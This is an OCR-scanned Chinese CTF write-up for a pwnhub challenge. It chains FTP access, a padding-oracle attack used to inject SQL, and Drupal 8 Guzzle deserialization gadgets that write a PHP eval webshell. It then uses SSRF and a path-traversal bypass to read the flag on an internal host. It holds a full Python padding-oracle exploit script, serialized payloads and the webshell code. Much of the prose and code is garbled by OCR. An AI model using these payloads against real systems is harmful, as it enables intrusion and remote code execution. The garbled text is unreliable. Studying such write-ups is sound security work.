Pwnhub-# 0> {144 -writeup

dengzhasong7076 0 F 2017-07-18 1926:00 K7 o 437 ﬁ e 5E

MEFRLE:  php shell B E
JRSCEERE:  hitp//www.cnblogs.com/ianstudy/articles/pwnhub_jiajia_writeup.html

RUE, ELET=ERFKR, IctfBBMENL, FBHLESAFERFEHRET S5 HE.

AW

1. Oracle padding attackfB Z|Bi X J5, R UHHEEEKENECEENAE. —REAZBEELZERV,
B R MR E A 2 — AL iR, X EHME AT DLd@ s 2 A0 B S0 £ A8 B A .

2. drupal 8 j5 & getshell, M _E# 2% K& Zdrupal 7.x F I PHP filterifitt % getshell, {HIXMEBR )5 TH 2
AT RZEZERBRER, XBERSZET B R Fgetshell, 5 _F2FFH T CVE-2017-6920%Fdrupal 8.3.3% 5
shell, H—ERRH.

—JFiE B~ nmapE AL 721, 22, 803k H
RS Bltest/test123 7] LL#E AftpAR JG T Hdrupali@ 4I5S, =. =, KW LSRG Hx


https://blog.csdn.net/dengzhasong7076
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=shell&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%2595%25B0%25E6%258D%25AE%25E5%25BA%2593&t=blog&o=vip&s=&l=&f=&viparticle=
http://www.cnblogs.com/iamstudy/articles/pwnhub_jiajia_writeup.html

~13mdOn@13mdndeMacBook-Pro ~/Desktop

“$ ftp 54.223.191.248

Connected to 54.223.191.248.

220 (vsFTPd 3.0.2)

Name (54.223.191.248:13m@n): test

331 Please specify the password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> 1s

229 Entering Extended Passive Mode (I1[58878().

d15@ Here comes the directory listing.

-rW-r--r-- 10 0 3003 Jul encrypt_article.tar.bz2

226 Directory send OK.

ftp> 1s /

229 Entering Extended Passive Mode (I1121935().

150 Here comes the directory listing.

drwxr-xr-x 20 (7] 4096 Mar bin

drwxr-xr-x 3 4096 Mar boot

drwxr-xr-x 13 3820 Jun dev

drwxr-xr-x 99 4096 Jul etc

drwxr-xr-x 4 4996 Jul home

Trwxrwx rwx 33 Mar initrd.img -> boot/initrd.img-3.13.0-48-generi
o
drwxr-xr-x
drwxr-xr-x

[ SIS I I S
(SIS IS IR SIS

4096 Jun lib
4096 Jun 1ib64
16384 Mar lost+found
4096 Mar media
4@96 Apr mnt
4996 Mar opt
@ Jun proc
4096 Jul root
760 Jul run
4996 Mar sbin
4926 Jul srv
@ Jun sys
4096 Jul tmp
4096 Mar usr
4@96 Jun var
30 Mar vmlinuz -> boot/vmlinuz-3.13.0-48-generic

drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
dr-xr-xr-x

drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
dr-xr-xr-x
drwxrwxrwt
drwxr-xr-x
drwxr-xr-x
Trwxrwxrwx 10

226 Directory send OK.

ftp> I

.
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lchroot_1list_enable=YES
chroot_local_user=?

|
chroot_list file=fetc/vsftpd.chroot_ list

‘sm&ai ﬁﬁiﬁm)ﬁiﬁﬁ’c

‘ ﬁ NO {85} YES ET,chroot
P4 ﬁ # A5 {k , chroot _list_file
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public function get_by_ id(Request $request) {
$nid = $request->get('id");
$nid = $this->set_decrpo($nid);
//echo $nid;
$this->waf($nid);
$nid = addslashes($nid);
$waf_t = 233;
if (strlen((string) $nid) > 16) {
$waf_t = "Id number can't too long";
}
$query = db_query("select nid,title,body_value from node_field_data left join node__body on node_fiel
if (!'$query) {
die("nothing!");
}
return array(
"#title' => $this->t($query['title']),
"#markup' => '<p>' . $this->t($query[ 'body_value']) . '</p>',
)s
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BART LB WITEEZ: http://www.yulegeyu.com/2017/04/11/%E4%B8%BA%E4%BB%80%E4%B9%88-
backtick-%E8%83%BD%ES5%81%9A%EG6%B3%A8%EQ%87 %8A%ET %AC%A6/

9 union select 1,(select mail from users_field_data 1limit 1,1),3 order by @
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private function get_random_token() {
$random_token = '';
for ($i = 0; $i < 16; $i++) {
$random_token .= chr(rand(1, 255));
}
return $random_token;
}
private function set_crpo($id) {
$token = $this->get_random_token();
$c = openssl_encrypt((string) $id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
$retid = base64_encode(base64_encode($token . '|' . $c));
return $retid;
}
private function set_decrpo($id) {
if ($c = baseb64_decode(base64_decode($id))) {
if ($iv = substr($c, 0, 16)) {
if ($pass = substr($c, 17)) {
if ($u = openssl_decrypt($pass, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)) {
return $u;
} else {
die("haker?bu chun zai de!");
¥
} else {
return 1;
¥
} else {
return 1;
}
} else {
return 1;

XEmEHEEERNE

if ($u = openssl_decrypt($pass, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)) {
return $u;

} else {
die("haker?bu chun zai de!");
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[*] Found padding oracle:

16

<br />

<b>Deprecated</b>: mysqgl_connect(): The mysql extension is deprecated and will be removed in the futul
re: use mysqli or PDO instead in <b>C:\WWW\test\sql\pwnhub.php</b> on line <b>1@</b><br />

string(@) ""

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version f|i

or the right syntax to use near 'and 233 = 233' at line 1 49
[*] Try IV: \x31\x1e\x87\x52\xe3\x33\x63\x60 \x61\x7IN\x8e\xe@\xal\x96\x10\x44
[*] Found padding oracle:

[+] Block @ decrypt!
[+] intermediary value is: \x21\x@e\x97\x42\xf3\x23\x73\x70\x71\x69\x9e\xf@\xb1\x86\x00\x54
[+] The plaintext of block @ is: 17

rAy o =
HBirmEERELRE
Block 1 of 1
4 5
Encrypted Input 0xF@ | 0x51 | 0xD6 ow:l:l o:ssl OxFC | 0x95 | 0x37
< + + R &+ R b R
( TRIPLE DES |
L + + & + & & L
Intermediary Value 0x25 | 0x73 | 0x23 mzl nnnl Oxta | 0x26 |q. BT
Initialization Vector 0x00 | 0x00 | DxDO umnl omul 0200 | 0x00 OxB6
+ + + & + & + L
|—
Decrypted Value Dx39 ( 0x73 | Ox23 | Ox22 | 0x07 | Ozfa | 0x26( 0x01 /
et

VALID PADDING
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[*¥] Try IV: \x87\xff\x69\xb6\x02\x74\x2 f\x80\xbe\x44\x@3\x8 \xd2\xfe\xe@\x78

[*] Found padding oracle:

~' & P.opGR\dyt=SrI, =A*=87&'(Cl

[+] Encrypt Success!

[+] The ciphertext you want is: \xf@\x@b\x97\xaZ\x95\x1a\x5\xda\x8\x61 \x7@\xed\x1b\xc7\xa6\x7d\xa5\x
C2\x46\X5c\x64\x 7N\ xd6\Xxb5\x74\x3d\x ccA\XccAX53\xd1\x33\xb@\x@5\x 72\ x4 \xeNx@2 \xed \x f FA\xdc\x82\x3d\x5e
\x86\xdc \xd5\x9\xZ2a\x 1 \x3d\x38\x8a\x5a\x95\xb3\xe3\x24\xcF\x7a \xfb\x14\xd6\xb@ \x81\xad\x26\xea\xb8\x
5c\x27\x0e\x06\x43\xd1\ x4\ x6c\xQd\xdc\x49\x7e

[+] IV is: \x8F\xFfb\x13\xd7\x64\x14\x4e\x84\xc2\x2e\x6@\xe5\xbe\x85\xe4\x46

[+] Base64 Encode: ai9zVDEyUVVUbIRDTGLEbHZVWGtSbnp3QzV1aWxScFEyb2x2Y@IRYngZWilwY@pHWEASNTFyVjBQY3pNVTL
FenNBVn1TZWtDNVAVY2dgMiWVodHpWbn1vZ1BUaUtXcFdoNH1UUGYZ2 c1UxckNCb@ONicXVGd25EZ1pEMFVCcORkeEpmZz@9

=== Let's verify the custom encrypt result ===

[+] Decrypt of ciphertext "“\xf@\x@b\x97\xa2\x95\x1a\x50\xda\x8\x6 \x7@\xe4\x1b\xc7\xab\x7d\xa5\xc2\x4
AV CIAVEIAVERAV G AV RAVTZAVE [ AVIdAVIdaAVEE AV G IAVEEAV AV SAVEFZAVE L AVEC AV (U AV AV B AV G [V EVAVET AVETAV €A
xdc\xd5\x9 \x2a\x 1 A\x3d\x38\x8a\x5a\x95\xb3\xe3\x24\xc FAXx7a\xfb\x14\xd6\xb@\x8 1\ xa@\x 26 \xea\xb8\x5c\x2
7\ x0e\x06\x43\xd 1\ x40 \x6c\x@d\xdc\x49\x7e" 1is:

[-] It seems something wrong happened!
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drupal 8 j5 & getshell

JFEEEx
http://54.223.91.224/user/login

MEH RERE, X~drupal 8.3.3k 4,

http://54.223.91.224/admin/reports/updates/update

W EET—B, KK Rdrupal 7.x FHPHP filterM#FEgetshell, BRANT ZELE, 7.XX.
BAERMERT, REREFSXAMER.
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http://54.223.91.224/admin/modules
http://54.223.91.224/admin/appearance

thingk _E4E—Astark_lemonfizip, B &FEshell, &GS 7EHEZ: \drupal-8.3.3\themes\stark_lemon
B i F.htaccessHIfEH, shell&HATABRI, FrUAMN %A & ELZpBEEEM —1 . htaccess

RewriteEngine On

RewriteCond %{REQUEST URI} ~/y$|~/y/
RewriteRule . /index.php [L]

RewriteCond %{REQUEST_FILENAME} -s [OR]
RewriteCond %{REQUEST_FILENAME} -1 [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ~.*$ - [NC,L]

RewriteCond %{REQUEST_URI}::$1 ~(/.+)(.+)::\2%
RewriteRule ~(.*) - [E=BASE:%1]
RewriteRule ~(.*)$ %{ENV:BASE}index.php [NC,L]

MRAT —FE I chemes BB BHARR
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\drupal-8.3.3\vendor\guzzlehttp\psr7\src\FnStream.php

public function _ destruct() {
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);

}



A

$methods = array();
$methods[ 'close'] = 'phpinfo’;

BJGHERR0:24:\"GuzzleHttp\\Psr7\\FnStream\" :2:{s:33:\"\@GuzzleHttp\\Psr7\\FnStream\@methods\";a:1:{s:5:\"c

Eclass FnStream implements StreamInterface {
/** @var array */

=] private Smethods;

11 /** @var array M
12 private

param array Smethods Hash of method name to a callable.

1L = public function _ construct() {
20 Smethods = array():

21 $methods['close'] =

S$this->methods = $methods;

& // Create the functions on the class
25 =] foreach (Smethods as $name => $fn) {

2 $this->{'_fn ' . $name} = $fn;
® © ® ' [ phpinfo() x @ pwnhub | Beta X @ S | FiFAE X (8 (155KI%) W5 HBFE6.0MR x 2] pwnhub~ - TIMZEZ304Y x

C' | ® lemon.love/code-src/drupal-8.3.3/vendor/guzzlehttp/psr7/src/1.php
i fAl FJtools Fstudy [Hacksearch [=jother F5maxthon [Zitemp [Program ESCTF Ewooyun Brss (/@ [ MEEMZHEES

0:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\Omethods\ ";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}

Php

PHP Version 5.6.27

http://54.223.91.224/admin/config/development/configuration/single/import

& > C  ©® 54.223.91.224/admin/config/development/configuration/single/import
© R Ftools Fstudy [ Hacksearch [jother F5imaxthon FSitemp [ Program S CTF ESwooyun [)rss (G /h\BE [ REEMZHEEH

BEERPEY RERPEY B

I Q EBHDrupallfAE— NI ANREEM. AMHRERS, BDLAR! BEREESER, URRKRONEN, BEEITRENRT.
ERSANE—MNRED, FTEHE YAML SNEIXAER,

EERR *

BHEiE v

EERR*

lemon

Enter the name of the configuration file without the .ym/ extension. (e.g. system.site)

ISR BRI *
Iphp/object "0:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\Omethods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
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/var/www/html/3fc8ed24042ded4ead73d0e844ae49a5f/



B AR AEW FSHELL

\drupal-8.3.3\vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php

public function __ destruct()

{
$this->save($this->filename);
}
public function save($filename)
{
$json = [1;
foreach ($this as $cookie) {
/** @var SetCookie $cookie */
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = \GuzzleHttp\json_encode($json);
if (false === file_put_contents($filename, $jsonStr)) {
throw new \RuntimeException("Unable to save file {$filename}");
}
}

% T G ififoreachf $thisZs &

object(GuzzleHttp\Cookie\FileCookieJar)#3 (4) {
["filename": "GuzzleHttp\Cookie\FileCookieJar":private]=>
string(38) "C:\WWW\code-src\drupal-8.3.3\lemon.php"
["storeSessionCookies":"GuzzleHttp\Cookie\FileCookieJar" :private]=>
bool (true)
["cookies":"GuzzleHttp\Cookie\CookieJar":private]=>
array(0) {

}

["strictMode":"GuzzleHttp\Cookie\CookieJar":private]=>
NULL

E FE R B w4 CookieJart A B L B cookiesH 1, HERAEALTE
B CART DA — R RFFIAL IR

1. He#CookieJard HIFAH 2 B cookies
2. B HAFileCookiedarsk 4 B3

Frb T —Triamt R fECookieTJar RHPBMRIE, ZRAIW, WElER|—HE 1 E

a. BEEEVIEMRESREE, (private Scookies = xxxxx;), NAXBEEEANRNTEEa—SetCookie
TR
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\drupal-8.3.3\vendor\guzzlehttp\guzzle\src\Cookie\CookieJar.php

public function __ construct($strictMode = false, $cookieArray = [])
{
$this->strictMode = $strictMode;
foreach ($cookieArray as $cookie) {
if (!($cookie instanceof SetCookie)) {
new SetCookie($cookie);

$cookie

$this->setCookie($cookie);

BR7EX B Spayloadi)is, AMAARE LHRFIIMREER, HtkRE&2RIELshel 5 AR

BG4 KMclass FileCookieJar extends CookieJdar, HHcCookieJarBHA —IsetCookiely

1%, ATUVAFAF A Bcookiestt{E, FrlAnT UAtai&exp, 4 Eishellmi.

$cookieFile = "/var/www/html/3fc8ed24042ded4ea®73d0e844ae49a5f/upload/le
$storeSessionCookies = True;

$this->filename = $cookieFile;

$evil = '<?php eval(@$_POST[lemonaaal]);?>";

$cookieArray = \GuzzleHttp\json_decode('{"Name":"aaa", "Value":"bbb", "Dol

$this->setCookie(new SetCookie($cookieArray));

H FileCookieJar php Jlai php &4 = 2php B3 IBCow:wk\eJarp?'wp x|

H 1php &3

E FnStream php £3

mon.php";

main":""'.$evil."'","Path":"\/", "Max

J;class FileCookieJdar extends Cookiedar
/**% @var string filename */

private $filename;

@var bool Control whether to persist session cookies or not.

private $storeSessionCookies;

public function _ construct()

//$cookieFile =

$cookieFile = "/var/wwy upload/lemon.php";
$storeSessionCockies = True;

$this->filename = $cookieFile;

Sevil = ' e _POS )
ScookieArray = \GuzzleHttp\json decode (

$this->setCookie (new SetCookie ($cookielArray

.$evil."

$this->storeSessionCookies $storeSessionCookies;
if (file_exists($cookieFile)) {

$this->load ($cookieFile) ;

X

X

@ [ ] [% lemon.love/code-src/ X [% view-source:lemon.| e pwnhub | Beta

& C'  ® lemon.love/code-src/drupal-8.3.3/vendor/guzzlehttp/psr7/src/2.php

* Saves the fili

0:31:\"GuzzleHttp\\Cookie\ \FileCookieJar\":4:

r\guzzlehttp\guzzle\src\Cooki

2struct ()

by lehttp\ le\ \Cooki

;f‘::teu PATRERIEASEEICOtiH [s:4:\"Name\";:3:\"aaa\";5:5:\"Value\";s:3:\"bbb\ ";5:6:\"Domain\";s:33:\"\";:4:\"Path\";
r\guzzlehttp\guzzle\sre\Handlf Age\";N;s:7:\"Expires\";N;s:6:\"Secure\";b:0;s:7:\"Discard\";b:0;s:8:\"HttpOnly\";b:0;s:3:\
astruct ()

object (GuzzleHttp\Cookie\FileCookieJar)#3 (4) {

["filename":"GuzzleHttp\Cookie\FileCookieJar" :private]=>
string(63) "/var/www/html/3fc8ed24042dedeal73d0eB44aed49a5f/upload/lemon.php"
[ "storeSessionCookies":"GuzzleHttp\Cookie\FileCookieJar" :private]=>
bool(true)
["cookies":"GuzzleHttp\Cookie\CookieJar" :private]=>
array(1l) {

[0]=>

object(GuzzleHttp\Cookie\SetCookie)#2 (1) {

["As+a" . "Mumslal++n\ Cankial QGakfankia cnrivatal=>

r\guzzlehttp\psr7\src\1.php (
struct () {
r\guzzlehttp\psr7\src\2.php (
astruct ()
f\guzzlehttp\psr7\src\FnStreal

I e

m o wpagpm:m

€ phpinfo()

HI A Ftools Fstudy FHacksearch [Fjother F5jmaxthon [=itemp [=Program [ CTF Fwooyun ) rss (/&

{2 pwnhub~ - TIMZEZ:

x (8 (1ERE) MBHAEC. X

[ RMEFMEZXHEEE

{s:41:\"\0GuzzleHttp\\Cookie\ \FileCookieJar\Ofilename\";s:63:\" /var/www/html/3fc8ed24042de4ea073d0e844ae49a5f/upload/lemon.php\";s:52:\"
{i:0;0:27:\"GuzzleHttp\\Cookie\\SetCookie\ ":1:{s:33:\"\0GuzzleHttp\ \Cookie\\SetCookie\Odata\ ";a:10:

s:1:\"/\";s:7:\"Max—
aaa\";s:3:\"bbb\";}}s:39:\"\0GuzzleHttp\\Cookie\\CookieJ

0:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:41:\"\OGuzzleHttp\\Cookie\\FileCookieJar\@filename\";s:63:\



23 shell

http://54.223.91.224/upload/lemon.php
pass: lemonaaal

windows§F {4

MarpRh R H I —AHidk172.31.15.26, REwindows

http://54.223.91.224/upload/curl.php?url=172.31.15.26

J& &k

http://54.223.91.224/upload/curl.php?url=172.31.15.26/manage/index.php

%S :admin

R : dAsMFHG*dDF@#%gdfih
AT T EAKEN, BEFMARBARNGR, REFLRTHdrupalffE & %G
FAINRIVIZA R R S SO, S 4R B URAD A, 00 R AR 7

http://54.223.191.248/upload/curl.php?url=http://172.31.15.26/incp.php?path=/js/tether.min.js
AT
http://54.223.191.248/upload/curl.php?url=http://172.31.15.26/incp.php?path=/js/tether.min.<<
AR
http://54.223.191.248/upload/curl.php?url=http://172.31.15.26/incp.php?path=/js/tether.min<<
AU

Ji T 7E WX TR T waf B &8 43 YR Y

54.223.91.224/upload/curl.php?url=172.31.15.26/incp.php?path=index.php
if(stripos(basename($file,"."'.pathinfo($file, PATHINFO_EXTENSION)),".")!==false)
die("error");
if(is_numeric(basename($file,'."'.pathinfo($file, PATHINFO_EXTENSION))))
die("error");

if(pathinfo($file, PATHINFO_EXTENSION)=='")

die("error");

KAERE R < <Betl B AUEMFRE, FrLl, 1234567. txtBHIXBMRTATLAKI1234567<<. txt<<
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http://54.223.191.248/upload/curl.php?url=http://172.31.15.26/incp.php?path=../pwnhubflagishere2333333hi.tx

flag: pwnhub { flag: FEHER/DNHE? TNFEM 23333}
Ji A

import svs



from Crypto.Cipher import *
import binascii

import base64

import requests

import urllib

ENCKEY = '1234567812345678"'

URL = 'http://54.223.91.224/get_en_news_by id/'

#URL = 'http://10.211.55.3/test/sql/pwnhub.php?a=id&id="
KOWN_STR = '1°'

def main(args):
HHHHHHH AR H R R
# you may config this part by yourself
d = base64.b64decode(baseb4.b64decode( ' SIYXRFRURGOONDVTeXpXVUg5MjdpbnlnSnVxNFhDY@9CalBSUUd3TjNFbCs="))
iv = d[e:16]
ciphertext = d[17:]
plain = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa”

space = urllib.unquote('%0b")

plain_want = "9 union select 1,(select mail from users_field_data limit 1,1),3 order by @ "
plain_want = plain_want.replace(' ',space)

print plain_want

# you can choose cipher: blowfish/AES/DES/DES3/CAST/ARC2

cipher = "AES"

R T

block_size = 8

if cipher.lower() == "aes":
block_size = 16
if len(iv) != block_size:

print "[-] IV must be "+str(block_size)+" bytes long(the same as block_size)!"
return False

print "=== Generate Target Ciphertext ==="
if not ciphertext:
print "[-] Encrypt Error!"
return False
print "[+] plaintext is: "+plain
print "[+] iv is: "+hex_s(iv)
print "[+] ciphertext is: "+ hex_s(ciphertext)
print
print "=== Start Padding Oracle Decrypt ==="
print
print "[+] Choosing Cipher: "+cipher.upper()

guess = padding_oracle_decrypt(cipher, ciphertext, iv, block_size)

#guess = True
if guess:
print "[+] Guess intermediary value is: "+hex_s(guess["intermediary"])
print "[+] plaintext = intermediary_value XOR original_IV"
print "[+] Guess plaintext is: "+guess["plaintext"]
print
if plain_want:

print "=== Start Padding Oracle Encrypt ===
print "[+] plaintext want to encrypt is: "+plain_want

print "[+] Choosing Cipher: "+cipher.upper()

en = padding_oracle_encrypt(cipher, ciphertext, plain_want, iv, block_size)
if en:

print "[+] Encrypt Success!"



print "[+] The ciphertext you want is: "+hex_s(en[block_size:])
print "[+] IV is: "+hex_s(en[:block_size])

print "[+] Base64 Encode: " + base64.b64dencode(base64.b64encode(en[:block_size] + '|' + en[block_
print
print "=== Let's verify the custom encrypt result ==="

print "[+] Decrypt of ciphertext '"+ hex_s(en[block_size:]) +"' is:
de = decrypt(en[block_size:], en[:block_size], cipher)
if de == add_PKCS5_padding(plain_want, block_size):

print de
print "[+] Bingo!"
else:
print "[-] It seems something wrong happened!"

return False
return True
else:
return False
def padding_oracle_encrypt(cipher, ciphertext, plaintext, iv, block_size=8):
# the last block
guess_cipher = ciphertext[@-block_size:]
plaintext = add_PKCS5_padding(plaintext, block_size)
print "[*] After padding, plaintext becomes to: "+hex_s(plaintext)
print
block = len(plaintext)
iv_nouse = iv # no use here, in fact we only need intermediary
prev_cipher = ciphertext[@-block_size:] # init with the last cipher block
while block > @:
# we need the intermediary value
tmp = padding_oracle_decrypt_block(cipher, prev_cipher, iv_nouse, block_size, debug=True)
# calculate the iv, the iv is the ciphertext of the previous block
prev_cipher = xor_str( plaintext[block-block_size:block], tmp["intermediary"] )
#save result
print prev_cipher,guess_cipher
guess_cipher = str(prev_cipher) + str(guess_cipher)
block = block - block_size
return guess_cipher
def padding_oracle_decrypt(cipher, ciphertext, iv, block_size=8, debug=True):
cipher_block = split_cipher_block(ciphertext, block_size)
if cipher_block:
result = {}
result["intermediary"] = "'
result["plaintext"] = "'
counter = 0
for c in cipher_block:
if debug:
print "[*] Now try to decrypt block "+str(counter)
print "[*] Block "+str(counter)+"'s ciphertext is: "+hex_s(c)
print
guess = padding oracle_decrypt_block(cipher, c, iv, block_size, debug)
if guess:
iv = ¢
result["intermediary"] += guess["intermediary"]
result["plaintext"] += guess["plaintext"]
if debug:
print
print "[+] Block "+str(counter)+" decrypt!"
print "[+] intermediary value is: "+hex_s(guess["intermediary"])
print "[+] The plaintext of block "+str(counter)+" is: "+guess["plaintext"]
print

colinter = counter+1



print "[-] padding oracle decrypt error!"
return False
return result
else:
print "[-] ciphertext's block_size is incorrect!”
return False
def padding_oracle_decrypt_block(cipher, ciphertext, iv, block_size=8, debug=True):
result = {}
plain = "'
intermediary = []
iv_p =[]
for i in range(1, block_size+1):
iv_try = []
print i
iv_p = change_iv(iv_p, intermediary, i)
for k in range(@, block_size-i):
iv_try.append("\x00")
iv_try.append("\x00")
for b in range(9,256):
iv_tmp = iv_try
iv_tmp[len(iv_tmp)-1] = chr(b)

iv_tmp_s = ''.join("%s" % ch for ch in iv_tmp)
for p in range(9,len(iv_p)):
iv_tmp_s += iv_p[len(iv_p)-1-p]
if i == 15:
temp_save = iv_tmp_s
if i != block_size:
request_res = decrypt_online(ciphertext, iv_tmp_s, cipher)
if 'haker' not in request_res.content:
print request_res.content,b
if debug:
print "[*] Try IV: "+hex_s(iv_tmp_s)

print "[*] Found padding oracle: + hex_s(plain)
iv_p.append(chr(b))

intermediary.append(chr(b ~ i))

break
else:

iv_tmp_s = chr(b) + temp_save[1l:]
request_res = decrypt_online(ciphertext, iv_tmp_s, cipher)
if 'hacked by 23333' in request_res.content:

print request_res.content,b

if debug:

print "[*] Try IV: "+hex_s(iv_tmp_s)

print "[*] Found padding oracle: + hex_s(plain)
iv_p.append(chr(b))
intermediary.append(chr(b ~ ord(KOWN_STR)))
plain = "'
for ch in range(@, len(intermediary)):
plain += chr( ord(intermediary[len(intermediary)-1-ch]) ~ ord(iv[ch]) )

result["plaintext"] = plain
result["intermediary"] = ''.join("%s" % ch for ch in intermediary)[::-1]
return result
def change_iv(iv_p, intermediary, p):
for i in range(@, len(iv_p)):



iv_p[i] = chr( ord(intermediary[i]) ~ p)
return iv_p
def split_cipher_block(ciphertext, block_size=8):
if len(ciphertext) % block_size != 0:
return False
result [1]
length = @
while length < len(ciphertext):

result.append(ciphertext[length:length+block_size])
length += block_size
return result
def check_PKCS5_padding(plain, p):
if len(plain) % 8 != 0:
return False
plain = plain[::-1]
ch =0
found = @
while ch < p:
if plain[ch] == chr(p):
found += 1
ch += 1
if found == p:
return True
else:
return False
def add_PKCS5_padding(plaintext, block_size):
s = '
if len(plaintext) % block_size ==
return plaintext
if len(plaintext) < block_size:
padding = block_size - len(plaintext)
else:
padding = block_size - (len(plaintext) % block_size)

for i in range(@, padding):

plaintext += chr(padding)
return plaintext

def decrypt(ciphertext, iv, cipher):

key = ENCKEY
if cipher.lower() == "des":

o = DES.new(key, DES.MODE_CBC,iv)
elif cipher.lower() == "aes":

o = AES.new(key, AES.MODE_CBC,iv)
elif cipher.lower() == "des3":

o = DES3.new(key, DES3.MODE_CBC,iv)
elif cipher.lower() == "blowfish":

o = Blowfish.new(key, Blowfish.MODE_CBC,iv)
elif cipher.lower() == "cast":

o = CAST.new(key, CAST.MODE_CBC,iv)
elif cipher.lower() == "arc2":

o = ARC2.new(key, ARC2.MODE_CBC,iv)
else:

return False
if len(iv) % 8 !'= o:

return False
if len(ciphertext) % 8 != 0:

return False
return o.decrypt(ciphertext)

def encrypt(plaintext, iv, cipher):

lravr — ENCKEV



Ny — Livenes
if cipher.lower() == "des":
if len(key) != 8:
print "[-] DES key must be 8 bytes long!"
return False
o = DES.new(key, DES.MODE_CBC,iv)
elif cipher.lower() == "aes":
if len(key) != 16 and len(key) != 24 and len(key) != 32:
print "[-] AES key must be 16/24/32 bytes long!"
return False
o = AES.new(key, AES.MODE_CBC,iv)
elif cipher.lower() == "des3":
if len(key) != 16:
print "[-] Triple DES key must be 16 bytes long!"
return False
o = DES3.new(key, DES3.MODE_CBC,iv)

elif cipher.lower() == "blowfish":
o = Blowfish.new(key, Blowfish.MODE_CBC,iv)
elif cipher.lower() == "cast":
0 = CAST.new(key, CAST.MODE_CBC,iv)
elif cipher.lower() == "arc2":
0 = ARC2.new(key, ARC2.MODE_CBC,iv)
else:

return False
plaintext = add_PKCS5_padding(plaintext, len(iv))
return o.encrypt(plaintext)
def xor_str(a,b):
if len(a) != len(b):
return False
c= '
for i in range(@, len(a)):
¢ += chr( ord(a[i]) ~ ord(b[i]) )

return c
def hex_s(str):
re = '

for i in range(@,len(str)):
re += "\\x"+binascii.b2a_hex(str[i])
return re

def decrypt_online(ciphertext, iv, cipher):

c = base64.b64dencode(base64.b64encode(iv + '|' + ciphertext))
url = URL + c
try:

r = requests.get(url )
except:

print 'Error'

r['content'] = 'haker'
return r

def hex2str(h):
c= '
h = h.split("\\x")[1:]
for char_ in h:

c += binascii.a2b_hex(char_)
print base64.b64encode(base64.b64encode(c))

if _name__ == "_main__":

main(sys.argv)



8, T:https://www.cnblogs.com/iamstudy/articles/pwnhub _jiajia_writeup.html
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